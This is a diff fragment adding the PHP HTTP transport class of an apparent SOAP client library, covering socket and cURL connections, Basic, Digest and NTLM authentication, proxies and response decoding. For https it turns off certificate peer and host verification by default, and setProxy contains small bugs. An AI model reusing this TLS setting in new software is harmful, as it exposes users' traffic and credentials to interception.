$this->setCredentials(urldecode($u['user']), isset($u['pass']) ? urldecode($u['pass']) : ''); + } + } + + /** + * gets the I/O method to use + * + * @return string I/O method to use (socket|curl|unknown) + * @access private + */ + function io_method() { + if ($this->use_curl || ($this->scheme == 'https') || ($this->scheme == 'http' && $this->authtype == 'ntlm') || ($this->scheme == 'http' && is_array($this->proxy) && $this->proxy['authtype'] == 'ntlm')) + return 'curl'; + if (($this->scheme == 'http' || $this->scheme == 'ssl') && $this->authtype != 'ntlm' && (!is_array($this->proxy) || $this->proxy['authtype'] != 'ntlm')) + return 'socket'; + return 'unknown'; + } + + /** + * establish an HTTP connection + * + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @return boolean true if connected, false if not + * @access private + */ + function connect($connection_timeout=0,$response_timeout=30){ + // For PHP 4.3 with OpenSSL, change https scheme to ssl, then treat like + // "regular" socket. + // TODO: disabled for now because OpenSSL must be *compiled* in (not just + // loaded), and until PHP5 stream_get_wrappers is not available. +// if ($this->scheme == 'https') { +// if (version_compare(phpversion(), '4.3.0') >= 0) { +// if (extension_loaded('openssl')) { +// $this->scheme = 'ssl'; +// $this->debug('Using SSL over OpenSSL'); +// } +// } +// } + $this->debug("connect connection_timeout $connection_timeout, response_timeout $response_timeout, scheme $this->scheme, host $this->host, port $this->port"); + if ($this->io_method() == 'socket') { + if (!is_array($this->proxy)) { + $host = $this->host; + $port = $this->port; + } else { + $host = $this->proxy['host']; + $port = $this->proxy['port']; + } + + // use persistent connection + if($this->persistentConnection && isset($this->fp) && is_resource($this->fp)){ + if (!feof($this->fp)) { + $this->debug('Re-use persistent connection'); + return true; + } + fclose($this->fp); + $this->debug('Closed persistent connection at EOF'); + } + + // munge host if using OpenSSL + if ($this->scheme == 'ssl') { + $host = 'ssl://' . $host; + } + $this->debug('calling fsockopen with host ' . $host . ' connection_timeout ' . $connection_timeout); + + // open socket + if($connection_timeout > 0){ + $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str, $connection_timeout); + } else { + $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str); + } + + // test pointer + if(!$this->fp) { + $msg = 'Couldn\'t open socket connection to server ' . $this->url; + if ($this->errno) { + $msg .= ', Error ('.$this->errno.'): '.$this->error_str; + } else { + $msg .= ' prior to connect(). This is often a problem looking up the host name.'; + } + $this->debug($msg); + $this->setError($msg); + return false; + } + + // set response timeout + $this->debug('set response timeout to ' . $response_timeout); + socket_set_timeout( $this->fp, $response_timeout); + + $this->debug('socket connected'); + return true; + } else if ($this->io_method() == 'curl') { + if (!extension_loaded('curl')) { +// $this->setError('cURL Extension, or OpenSSL extension w/ PHP version >= 4.3 is required for HTTPS'); + $this->setError('The PHP cURL Extension is required for HTTPS or NLTM. You will need to re-build or update your PHP to include cURL or change php.ini to load the PHP cURL extension.'); + return false; + } + // Avoid warnings when PHP does not have these options + if (defined('CURLOPT_CONNECTIONTIMEOUT')) + $CURLOPT_CONNECTIONTIMEOUT = CURLOPT_CONNECTIONTIMEOUT; + else + $CURLOPT_CONNECTIONTIMEOUT = 78; + if (defined('CURLOPT_HTTPAUTH')) + $CURLOPT_HTTPAUTH = CURLOPT_HTTPAUTH; + else + $CURLOPT_HTTPAUTH = 107; + if (defined('CURLOPT_PROXYAUTH')) + $CURLOPT_PROXYAUTH = CURLOPT_PROXYAUTH; + else + $CURLOPT_PROXYAUTH = 111; + if (defined('CURLAUTH_BASIC')) + $CURLAUTH_BASIC = CURLAUTH_BASIC; + else + $CURLAUTH_BASIC = 1; + if (defined('CURLAUTH_DIGEST')) + $CURLAUTH_DIGEST = CURLAUTH_DIGEST; + else + $CURLAUTH_DIGEST = 2; + if (defined('CURLAUTH_NTLM')) + $CURLAUTH_NTLM = CURLAUTH_NTLM; + else + $CURLAUTH_NTLM = 8; + + $this->debug('connect using cURL'); + // init CURL + $this->ch = curl_init(); + // set url + $hostURL = ($this->port != '') ? "$this->scheme://$this->host:$this->port" : "$this->scheme://$this->host"; + // add path + $hostURL .= $this->path; + $this->setCurlOption(CURLOPT_URL, $hostURL); + // follow location headers (re-directs) + if (ini_get('safe_mode') || ini_get('open_basedir')) { + $this->debug('safe_mode or open_basedir set, so do not set CURLOPT_FOLLOWLOCATION'); + $this->debug('safe_mode = '); + $this->appendDebug($this->varDump(ini_get('safe_mode'))); + $this->debug('open_basedir = '); + $this->appendDebug($this->varDump(ini_get('open_basedir'))); + } else { + $this->setCurlOption(CURLOPT_FOLLOWLOCATION, 1); + } + // ask for headers in the response output + $this->setCurlOption(CURLOPT_HEADER, 1); + // ask for the response output as the return value + $this->setCurlOption(CURLOPT_RETURNTRANSFER, 1); + // encode + // We manage this ourselves through headers and encoding +// if(function_exists('gzuncompress')){ +// $this->setCurlOption(CURLOPT_ENCODING, 'deflate'); +// } + // persistent connection + if ($this->persistentConnection) { + // I believe the following comment is now bogus, having applied to + // the code when it used CURLOPT_CUSTOMREQUEST to send the request. + // The way we send data, we cannot use persistent connections, since + // there will be some "junk" at the end of our request. + //$this->setCurlOption(CURL_HTTP_VERSION_1_1, true); + $this->persistentConnection = false; + $this->setHeader('Connection', 'close'); + } + // set timeouts + if ($connection_timeout != 0) { + $this->setCurlOption($CURLOPT_CONNECTIONTIMEOUT, $connection_timeout); + } + if ($response_timeout != 0) { + $this->setCurlOption(CURLOPT_TIMEOUT, $response_timeout); + } + + if ($this->scheme == 'https') { + $this->debug('set cURL SSL verify options'); + // recent versions of cURL turn on peer/host checking by default, + // while PHP binaries are not compiled with a default location for the + // CA cert bundle, so disable peer/host checking. + //$this->setCurlOption(CURLOPT_CAINFO, 'f:\php-4.3.2-win32\extensions\curl-ca-bundle.crt'); + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 0); + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 0); + + // support client certificates (thanks Tobias Boes, Doug Anarino, Eryan Ariobowo) + if ($this->authtype == 'certificate') { + $this->debug('set cURL certificate options'); + if (isset($this->certRequest['cainfofile'])) { + $this->setCurlOption(CURLOPT_CAINFO, $this->certRequest['cainfofile']); + } + if (isset($this->certRequest['verifypeer'])) { + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, $this->certRequest['verifypeer']); + } else { + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 1); + } + if (isset($this->certRequest['verifyhost'])) { + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, $this->certRequest['verifyhost']); + } else { + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 1); + } + if (isset($this->certRequest['sslcertfile'])) { + $this->setCurlOption(CURLOPT_SSLCERT, $this->certRequest['sslcertfile']); + } + if (isset($this->certRequest['sslkeyfile'])) { + $this->setCurlOption(CURLOPT_SSLKEY, $this->certRequest['sslkeyfile']); + } + if (isset($this->certRequest['passphrase'])) { + $this->setCurlOption(CURLOPT_SSLKEYPASSWD, $this->certRequest['passphrase']); + } + if (isset($this->certRequest['certpassword'])) { + $this->setCurlOption(CURLOPT_SSLCERTPASSWD, $this->certRequest['certpassword']); + } + } + } + if ($this->authtype && ($this->authtype != 'certificate')) { + if ($this->username) { + $this->debug('set cURL username/password'); + $this->setCurlOption(CURLOPT_USERPWD, "$this->username:$this->password"); + } + if ($this->authtype == 'basic') { + $this->debug('set cURL for Basic authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_BASIC); + } + if ($this->authtype == 'digest') { + $this->debug('set cURL for digest authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_DIGEST); + } + if ($this->authtype == 'ntlm') { + $this->debug('set cURL for NTLM authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_NTLM); + } + } + if (is_array($this->proxy)) { + $this->debug('set cURL proxy options'); + if ($this->proxy['port'] != '') { + $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host'].':'.$this->proxy['port']); + } else { + $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host']); + } + if ($this->proxy['username'] || $this->proxy['password']) { + $this->debug('set cURL proxy authentication options'); + $this->setCurlOption(CURLOPT_PROXYUSERPWD, $this->proxy['username'].':'.$this->proxy['password']); + if ($this->proxy['authtype'] == 'basic') { + $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_BASIC); + } + if ($this->proxy['authtype'] == 'ntlm') { + $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_NTLM); + } + } + } + $this->debug('cURL connection set up'); + return true; + } else { + $this->setError('Unknown scheme ' . $this->scheme); + $this->debug('Unknown scheme ' . $this->scheme); + return false; + } + } + + /** + * sends the SOAP request and gets the SOAP response via HTTP[S] + * + * @param string $data message data + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @param array $cookies cookies to send + * @return string data + * @access public + */ + function send($data, $timeout=0, $response_timeout=30, $cookies=NULL) { + + $this->debug('entered send() with data of length: '.strlen($data)); + + $this->tryagain = true; + $tries = 0; + while ($this->tryagain) { + $this->tryagain = false; + if ($tries++ < 2) { + // make connnection + if (!$this->connect($timeout, $response_timeout)){ + return false; + } + + // send request + if (!$this->sendRequest($data, $cookies)){ + return false; + } + + // get response + $respdata = $this->getResponse(); + } else { + $this->setError("Too many tries to get an OK response ($this->response_status_line)"); + } + } + $this->debug('end of send()'); + return $respdata; + } + + + /** + * sends the SOAP request and gets the SOAP response via HTTPS using CURL + * + * @param string $data message data + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @param array $cookies cookies to send + * @return string data + * @access public + * @deprecated + */ + function sendHTTPS($data, $timeout=0, $response_timeout=30, $cookies) { + return $this->send($data, $timeout, $response_timeout, $cookies); + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $digestRequest (keys must be nonce, nc, realm, qop) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $digestRequest = array(), $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype digestRequest="); + $this->appendDebug($this->varDump($digestRequest)); + $this->debug("certRequest="); + $this->appendDebug($this->varDump($certRequest)); + // cf. RFC 2617 + if ($authtype == 'basic') { + $this->setHeader('Authorization', 'Basic '.base64_encode(str_replace(':','',$username).':'.$password)); + } elseif ($authtype == 'digest') { + if (isset($digestRequest['nonce'])) { + $digestRequest['nc'] = isset($digestRequest['nc']) ? $digestRequest['nc']++ : 1; + + // calculate the Digest hashes (calculate code based on digest implementation found at: http://www.rassoc.com/gregr/weblog/stories/2002/07/09/webServicesSecurityHttpDigestAuthenticationWithoutActiveDirectory.html) + + // A1 = unq(username-value) ":" unq(realm-value) ":" passwd + $A1 = $username. ':' . (isset($digestRequest['realm']) ? $digestRequest['realm'] : '') . ':' . $password; + + // H(A1) = MD5(A1) + $HA1 = md5($A1); + + // A2 = Method ":" digest-uri-value + $A2 = $this->request_method . ':' . $this->digest_uri; + + // H(A2) + $HA2 = md5($A2); + + // KD(secret, data) = H(concat(secret, ":", data)) + // if qop == auth: + // request-digest = <"> < KD ( H(A1), unq(nonce-value) + // ":" nc-value + // ":" unq(cnonce-value) + // ":" unq(qop-value) + // ":" H(A2) + // ) <"> + // if qop is missing, + // request-digest = <"> < KD ( H(A1), unq(nonce-value) ":" H(A2) ) > <"> + + $unhashedDigest = ''; + $nonce = isset($digestRequest['nonce']) ? $digestRequest['nonce'] : ''; + $cnonce = $nonce; + if ($digestRequest['qop'] != '') { + $unhashedDigest = $HA1 . ':' . $nonce . ':' . sprintf("%08d", $digestRequest['nc']) . ':' . $cnonce . ':' . $digestRequest['qop'] . ':' . $HA2; + } else { + $unhashedDigest = $HA1 . ':' . $nonce . ':' . $HA2; + } + + $hashedDigest = md5($unhashedDigest); + + $opaque = ''; + if (isset($digestRequest['opaque'])) { + $opaque = ', opaque="' . $digestRequest['opaque'] . '"'; + } + + $this->setHeader('Authorization', 'Digest username="' . $username . '", realm="' . $digestRequest['realm'] . '", nonce="' . $nonce . '", uri="' . $this->digest_uri . $opaque . '", cnonce="' . $cnonce . '", nc=' . sprintf("%08x", $digestRequest['nc']) . ', qop="' . $digestRequest['qop'] . '", response="' . $hashedDigest . '"'); + } + } elseif ($authtype == 'certificate') { + $this->certRequest = $certRequest; + $this->debug('Authorization header not set for certificate'); + } elseif ($authtype == 'ntlm') { + // do nothing + $this->debug('Authorization header not set for ntlm'); + } + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->digestRequest = $digestRequest; + } + + /** + * set the soapaction value + * + * @param string $soapaction + * @access public + */ + function setSOAPAction($soapaction) { + $this->setHeader('SOAPAction', '"' . $soapaction . '"'); + } + + /** + * use http encoding + * + * @param string $enc encoding style. supported values: gzip, deflate, or both + * @access public + */ + function setEncoding($enc='gzip, deflate') { + if (function_exists('gzdeflate')) { + $this->protocol_version = '1.1'; + $this->setHeader('Accept-Encoding', $enc); + if (!isset($this->outgoing_headers['Connection'])) { + $this->setHeader('Connection', 'close'); + $this->persistentConnection = false; + } + // deprecated as of PHP 5.3.0 + //set_magic_quotes_runtime(0); + $this->encoding = $enc; + } + } + + /** + * set proxy info here + * + * @param string $proxyhost use an empty string to remove proxy + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @param string $proxyauthtype (basic|ntlm) + * @access public + */ + function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 'basic') { + if ($proxyhost) { + $this->proxy = array( + 'host' => $proxyhost, + 'port' => $proxyport, + 'username' => $proxyusername, + 'password' => $proxypassword, + 'authtype' => $proxyauthtype + ); + if ($proxyusername != '' && $proxypassword != '' && $proxyauthtype = 'basic') { + $this->setHeader('Proxy-Authorization', ' Basic '.base64_encode($proxyusername.':'.$proxypassword)); + } + } else { + $this->debug('remove proxy'); + $proxy = null; + unsetHeader('Proxy-Authorization'); + } + } + + + /** + * Test if the given string starts with a header that is to be skipped. + * Skippable headers result from chunked transfer and proxy requests. + * + * @param string $data The string to check. + * @returns boolean Whether a skippable header was found. + * @access private + */ + function isSkippableCurlHeader(&$data) { + $skipHeaders = array( 'HTTP/1.1 100', + 'HTTP/1.0 301', + 'HTTP/1.1 301', + 'HTTP/1.0 302', + 'HTTP/1.1 302', + 'HTTP/1.0 401', + 'HTTP/1.1 401', + 'HTTP/1.0 200 Connection established'); + foreach ($skipHeaders as $hd) { + $prefix = substr($data, 0, strlen($hd)); + if ($prefix == $hd) return true; + } + + return false; + } + + /** + * decode a string that is encoded w/ "chunked' transfer encoding + * as defined in RFC2068 19.4.6 + * + * @param string $buffer + * @param string $lb + * @returns string + * @access public + * @deprecated + */ + function decodeChunked($buffer, $lb){ + // length := 0 + $length = 0; + $new = ''; + + // read chunk-size, chunk-extension (if any) and CRLF + // get the position of the linebreak + $chunkend = strpos($buffer, $lb); + if ($chunkend == FALSE) { + $this->debug('no linebreak found in decodeChunked'); + return $new; + } + $temp = substr($buffer,0,$chunkend); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend + strlen($lb); + // while (chunk-size > 0) { + while ($chunk_size > 0) { + $this->debug("chunkstart: $chunkstart chunk_size: $chunk_size"); + $chunkend = strpos( $buffer, $lb, $chunkstart + $chunk_size); + + // Just in case we got a broken connection + if ($chunkend == FALSE) { + $chunk = substr($buffer,$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + $length += strlen($chunk); + break; + } + + // read chunk-data and CRLF + $chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + // length := length + chunk-size + $length += strlen($chunk); + // read chunk-size and CRLF + $chunkstart = $chunkend + strlen($lb); + + $chunkend = strpos($buffer, $lb, $chunkstart) + strlen($lb); + if ($chunkend == FALSE) { + break; //Just in case we got a broken connection + } + $temp = substr($buffer,$chunkstart,$chunkend-$chunkstart); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend; + } + return $new; + } + + /** + * Writes the payload, including HTTP headers, to $this->outgoing_payload. + * + * @param string $data HTTP body + * @param string $cookie_str data for HTTP Cookie header + * @return void + * @access private + */ + function buildPayload($data, $cookie_str = '') { + // Note: for cURL connections, $this->outgoing_payload is ignored, + // as is the Content-Length header, but these are still created as + // debugging guides. + + // add content-length header + if ($this->request_method != 'GET') { + $this->setHeader('Content-Length', strlen($data)); + } + + // start building outgoing payload: + if ($this->proxy) { + $uri = $this->url; + } else { + $uri = $this->uri; + } + $req = "$this->request_method $uri HTTP/$this->protocol_version"; + $this->debug("HTTP request: $req"); + $this->outgoing_payload = "$req\r\n"; + + // loop thru headers, serializing + foreach($this->outgoing_headers as $k => $v){ + $hdr = $k.': '.$v; + $this->debug("HTTP header: $hdr"); + $this->outgoing_payload .= "$hdr\r\n"; + } + + // add any cookies + if ($cookie_str != '') { + $hdr = 'Cookie: '.$cookie_str; + $this->debug("HTTP header: $hdr"); + $this->outgoing_payload .= "$hdr\r\n"; + } + + // header/body separator + $this->outgoing_payload .= "\r\n"; + + // add data + $this->outgoing_payload .= $data; + } + + /** + * sends the SOAP request via HTTP[S] + * + * @param string $data message data + * @param array $cookies cookies to send + * @return boolean true if OK, false if problem + * @access private + */ + function sendRequest($data, $cookies = NULL) { + // build cookie string + $cookie_str = $this->getCookiesForRequest($cookies, (($this->scheme == 'ssl') || ($this->scheme == 'https'))); + + // build payload + $this->buildPayload($data, $cookie_str); + + if ($this->io_method() == 'socket') { + // send payload + if(!fputs($this->fp, $this->outgoing_payload, strlen($this->outgoing_payload))) { + $this->setError('couldn\'t write message data to socket'); + $this->debug('couldn\'t write message data to socket'); + return false; + } + $this->debug('wrote data to socket, length = ' . strlen($this->outgoing_payload)); + return true; + } else if ($this->io_method() == 'curl') { + // set payload + // cURL does say this should only be the verb, and in fact it + // turns out that the URI and HTTP version are appended to this, which + // some servers refuse to work with (so we no longer use this method!) + //$this->setCurlOption(CURLOPT_CUSTOMREQUEST, $this->outgoing_payload); + $curl_headers = array(); + foreach($this->outgoing_headers as $k => $v){ + if ($k == 'Connection' || $k == 'Content-Length' || $k == 'Host' || $k == 'Authorization' || $k == 'Proxy-Authorization') { + $this->debug("Skip cURL header $k: $v"); + } else { + $curl_headers[] = "$k: $v"; + } + } + if ($cookie_str != '') { + $curl_headers[] = 'Cookie: ' . $cookie_str; + } + $this->setCurlOption(CURLOPT_HTTPHEADER, $curl_headers); + $this->debug('set cURL HTTP headers'); + if ($this->request_method == "POST") { + $this->setCurlOption(CURLOPT_POST, 1); + $this->setCurlOption(CURLOPT_POSTFIELDS, $data); + $this->debug('set cURL POST data'); + } else { + } + // insert custom user-set cURL options + foreach ($this->ch_options as $key => $val) { + $this->setCurlOption($key, $val); + } + + $this->debug('set cURL payload'); + return true; + } + } + + /** + * gets the SOAP response via HTTP[S] + * + * @return string the response (also sets member variables like incoming_payload) + * @access private + */ + function getResponse(){ + $this->incoming_payload = ''; + + if ($this->io_method() == 'socket') { + // loop until headers have been retrieved + $data = ''; + while (!isset($lb)){ + + // We might EOF during header read. + if(feof($this->fp)) { + $this->incoming_payload = $data; + $this->debug('found no headers before EOF after length ' . strlen($data)); + $this->debug("received before EOF:\n" . $data); + $this->setError('server failed to send headers'); + return false; + } + + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read line of $tmplen bytes: " . trim($tmp)); + + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of headers timed out after length ' . strlen($data)); + $this->debug("read before timeout: " . $data); + $this->setError('socket read of headers timed out'); + return false; + } + + $data .= $tmp; + $pos = strpos($data,"\r\n\r\n"); + if($pos > 1){ + $lb = "\r\n"; + } else { + $pos = strpos($data,"\n\n"); + if($pos > 1){ + $lb = "\n"; + } + } + // remove 100 headers + if (isset($lb) && preg_match('/^HTTP\/1.1 100/',$data)) { + unset($lb); + $data = ''; + }// + } + // store header data + $this->incoming_payload .= $data; + $this->debug('found end of headers after length ' . strlen($data)); + // process headers + $header_data = trim(substr($data,0,$pos)); + $header_array = explode($lb,$header_data); + $this->incoming_headers = array(); + $this->incoming_cookies = array(); + foreach($header_array as $header_line){ + $arr = explode(':',$header_line, 2); + if(count($arr) > 1){ + $header_name = strtolower(trim($arr[0])); + $this->incoming_headers[$header_name] = trim($arr[1]); + if ($header_name == 'set-cookie') { + // TODO: allow multiple cookies from parseCookie + $cookie = $this->parseCookie(trim($arr[1])); + if ($cookie) { + $this->incoming_cookies[] = $cookie; + $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); + } else { + $this->debug('did not find cookie in ' . trim($arr[1])); + } + } + } else if (isset($header_name)) { + // append continuation line to previous header + $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; + } + } + + // loop until msg has been received + if (isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked') { + $content_length = 2147483647; // ignore any content-length header + $chunked = true; + $this->debug("want to read chunked content"); + } elseif (isset($this->incoming_headers['content-length'])) { + $content_length = $this->incoming_headers['content-length']; + $chunked = false; + $this->debug("want to read content of length $content_length"); + } else { + $content_length = 2147483647; + $chunked = false; + $this->debug("want to read content to EOF"); + } + $data = ''; + do { + if ($chunked) { + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read chunk line of $tmplen bytes"); + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of chunk length timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of chunk length timed out'); + return false; + } + $content_length = hexdec(trim($tmp)); + $this->debug("chunk length $content_length"); + } + $strlen = 0; + while (($strlen < $content_length) && (!feof($this->fp))) { + $readlen = min(8192, $content_length - $strlen); + $tmp = fread($this->fp, $readlen); + $tmplen = strlen($tmp); + $this->debug("read buffer of $tmplen bytes"); + if (($tmplen == 0) && (!feof($this->fp))) { + $this->incoming_payload = $data; + $this->debug('socket read of body timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of body timed out'); + return false; + } + $strlen += $tmplen; + $data .= $tmp; + } + if ($chunked && ($content_length > 0)) { + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read chunk terminator of $tmplen bytes"); + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of chunk terminator timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of chunk terminator timed out'); + return false; + } + } + } while ($chunked && ($content_length > 0) && (!feof($this->fp))); + if (feof($this->fp)) { + $this->debug('read to EOF'); + } + $this->debug('read body of length ' . strlen($data)); + $this->incoming_payload .= $data; + $this->debug('received a total of '.strlen($this->incoming_payload).' bytes of data from server'); + + // close filepointer + if( + (isset($this->incoming_headers['connection']) && strtolower($this->incoming_headers['connection']) == 'close') || + (! $this->persistentConnection) || feof($this->fp)){ + fclose($this->fp); + $this->fp = false; + $this->debug('closed socket'); + } + + // connection was closed unexpectedly + if($this->incoming_payload == ''){ + $this->setError('no response from server'); + return false; + } + + // decode transfer-encoding +// if(isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked'){ +// if(!$data = $this->decodeChunked($data, $lb)){ +// $this->setError('Decoding of chunked data failed'); +// return false; +// } + //print "
        \nde-chunked:\n---------------\n$data\n\n---------------\n
        "; + // set decoded payload +// $this->incoming_payload = $header_data.$lb.$lb.$data; +// } + + } else if ($this->io_method() == 'curl') { + // send and receive + $this->debug('send and receive with cURL'); + $this->incoming_payload = curl_exec($this->ch); + $data = $this->incoming_payload; + + $cErr = curl_error($this->ch); + if ($cErr != '') { + $err = 'cURL ERROR: '.curl_errno($this->ch).': '.$cErr.'
        '; + // TODO: there is a PHP bug that can cause this to SEGV for CURLINFO_CONTENT_TYPE + foreach(curl_getinfo($this->ch) as $k => $v){ + $err .= "$k: $v
        "; + } + $this->debug($err); + $this->setError($err); + curl_close($this->ch); + return false; + } else { + //echo '
        ';
        +			//var_dump(curl_getinfo($this->ch));
        +			//echo '
        '; + } + // close curl + $this->debug('No cURL error, closing cURL'); + curl_close($this->ch); + + // try removing skippable headers + $savedata = $data; + while ($this->isSkippableCurlHeader($data)) { + $this->debug("Found HTTP header to skip"); + if ($pos = strpos($data,"\r\n\r\n")) { + $data = ltrim(substr($data,$pos)); + } elseif($pos = strpos($data,"\n\n") ) { + $data = ltrim(substr($data,$pos)); + } + } + + if ($data == '') { + // have nothing left; just remove 100 header(s) + $data = $savedata; + while (preg_match('/^HTTP\/1.1 100/',$data)) { + if ($pos = strpos($data,"\r\n\r\n")) { + $data = ltrim(substr($data,$pos)); + } elseif($pos = strpos($data,"\n\n") ) { + $data = ltrim(substr($data,$pos)); + } + } + } + + // separate content from HTTP headers + if ($pos = strpos($data,"\r\n\r\n")) { + $lb = "\r\n"; + } elseif( $pos = strpos($data,"\n\n")) { + $lb = "\n"; + } else { + $this->debug('no proper separation of headers and document'); + $this->setError('no proper separation of headers and document'); + return false; + } + $header_data = trim(substr($data,0,$pos)); + $header_array = explode($lb,$header_data); + $data = ltrim(substr($data,$pos)); + $this->debug('found proper separation of headers and document'); + $this->debug('cleaned data, stringlen: '.strlen($data)); + // clean headers + foreach ($header_array as $header_line) { + $arr = explode(':',$header_line,2); + if(count($arr) > 1){ + $header_name = strtolower(trim($arr[0])); + $this->incoming_headers[$header_name] = trim($arr[1]); + if ($header_name == 'set-cookie') { + // TODO: allow multiple cookies from parseCookie + $cookie = $this->parseCookie(trim($arr[1])); + if ($cookie) { + $this->incoming_cookies[] = $cookie; + $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); + } else { + $this->debug('did not find cookie in ' . trim($arr[1])); + } + } + } else if (isset($header_name)) { + // append continuation line to previous header + $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; + } + } + } + + $this->response_status_line = $header_array[0]; + $arr = explode(' ', $this->response_status_line, 3); + $http_version = $arr[0]; + $http_status = (int)($arr[1]); + $http_reason = count($arr) > 2 ? $arr[2] : ''; + + // see if we need to resend the request with http digest authentication + if (isset($this->incoming_headers['location']) && ($http_status == 301 || $http_status == 302)) { + $this->debug("Got $http_status $http_reason with Location: " . $this->incoming_headers['location']); + $this->setURL($this->incoming_headers['location']); + $this->tryagain = true; + return false; + } + + // see if we need to resend the request with http digest authentication + if (isset($this->incoming_headers['www-authenticate']) && $http_status == 401) { + $this->debug("Got 401 $http_reason with WWW-Authenticate: " . $this->incoming_headers['www-authenticate']); + if (strstr($this->incoming_headers['www-authenticate'], "Digest ")) { + $this->debug('Server wants digest authentication'); + // remove "Digest " from our elements + $digestString = str_replace('Digest ', '', $this->incoming_headers['www-authenticate']); + + // parse elements into array + $digestElements = explode(',', $digestString); + foreach ($digestElements as $val) { + $tempElement = explode('=', trim($val), 2); + $digestRequest[$tempElement[0]] = str_replace("\"", '', $tempElement[1]); + } + + // should have (at least) qop, realm, nonce + if (isset($digestRequest['nonce'])) { + $this->setCredentials($this->username, $this->password, 'digest', $digestRequest); + $this->tryagain = true; + return false; + } + } + $this->debug('HTTP authentication failed'); + $this->setError('HTTP authentication failed'); + return false; + } + + if ( + ($http_status >= 300 && $http_status <= 307) || + ($http_status >= 400 && $http_status <= 417) || + ($http_status >= 501 && $http_status <= 505) + ) { + $this->setError("Unsupported HTTP response status $http_status $http_reason (soapclient->response has contents of the response)"); + return false; + } + + // decode content-encoding + if(isset($this->incoming_headers['content-encoding']) && $this->incoming_headers['content-encoding'] != ''){ + if(strtolower($this->incoming_headers['content-encoding']) == 'deflate' || strtolower($this->incoming_headers['content-encoding']) == 'gzip'){ + // if decoding works, use it. else assume data wasn't gzencoded + if(function_exists('gzinflate')){ + //$timer->setMarker('starting decoding of gzip/deflated content'); + // IIS 5 requires gzinflate instead of gzuncompress (similar to IE 5 and gzdeflate v. gzcompress) + // this means there are no Zlib headers, although there should be + $this->debug('The gzinflate function exists'); + $datalen = strlen($data); + if ($this->incoming_headers['content-encoding'] == 'deflate') { + if ($degzdata = @gzinflate($data)) { + $data = $degzdata; + $this->debug('The payload has been inflated to ' . strlen($data) . ' bytes'); + if (strlen($data) < $datalen) { + // test for the case that the payload has been compressed twice + $this->debug('The inflated payload is smaller than the gzipped one; try again'); + if ($degzdata = @gzinflate($data)) { + $data = $degzdata; + $this->debug('The payload has been inflated again to ' . strlen($data) . ' bytes'); + } + } + } else { + $this->debug('Error using gzinflate to inflate the payload'); + $this->setError('Error using gzinflate to inflate the payload'); + } + } elseif ($this->incoming_headers['content-encoding'] == 'gzip') { + if ($degzdata = @gzinflate(substr($data, 10))) { // do our best + $data = $degzdata; + $this->debug('The payload has been un-gzipped to ' . strlen($data) . ' bytes'); + if (strlen($data) < $datalen) { + // test for the case that the payload has been compressed twice + $this->debug('The un-gzipped payload is smaller than the gzipped one; try again'); + if ($degzdata = @gzinflate(substr($data, 10))) { + $data = $degzdata; + $this->debug('The payload has been un-gzipped again to ' . strlen($data) . ' bytes'); + } + } + } else { + $this->debug('Error using gzinflate to un-gzip the payload'); + $this->setError('Error using gzinflate to un-gzip the payload'); + } + } + //$timer->setMarker('finished decoding of gzip/deflated content'); + //print "\nde-inflated:\n---------------\n$data\n-------------\n"; + // set decoded payload + $this->incoming_payload = $header_data.$lb.$lb.$data; + } else { + $this->debug('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); + $this->setError('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); + } + } else { + $this->debug('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); + 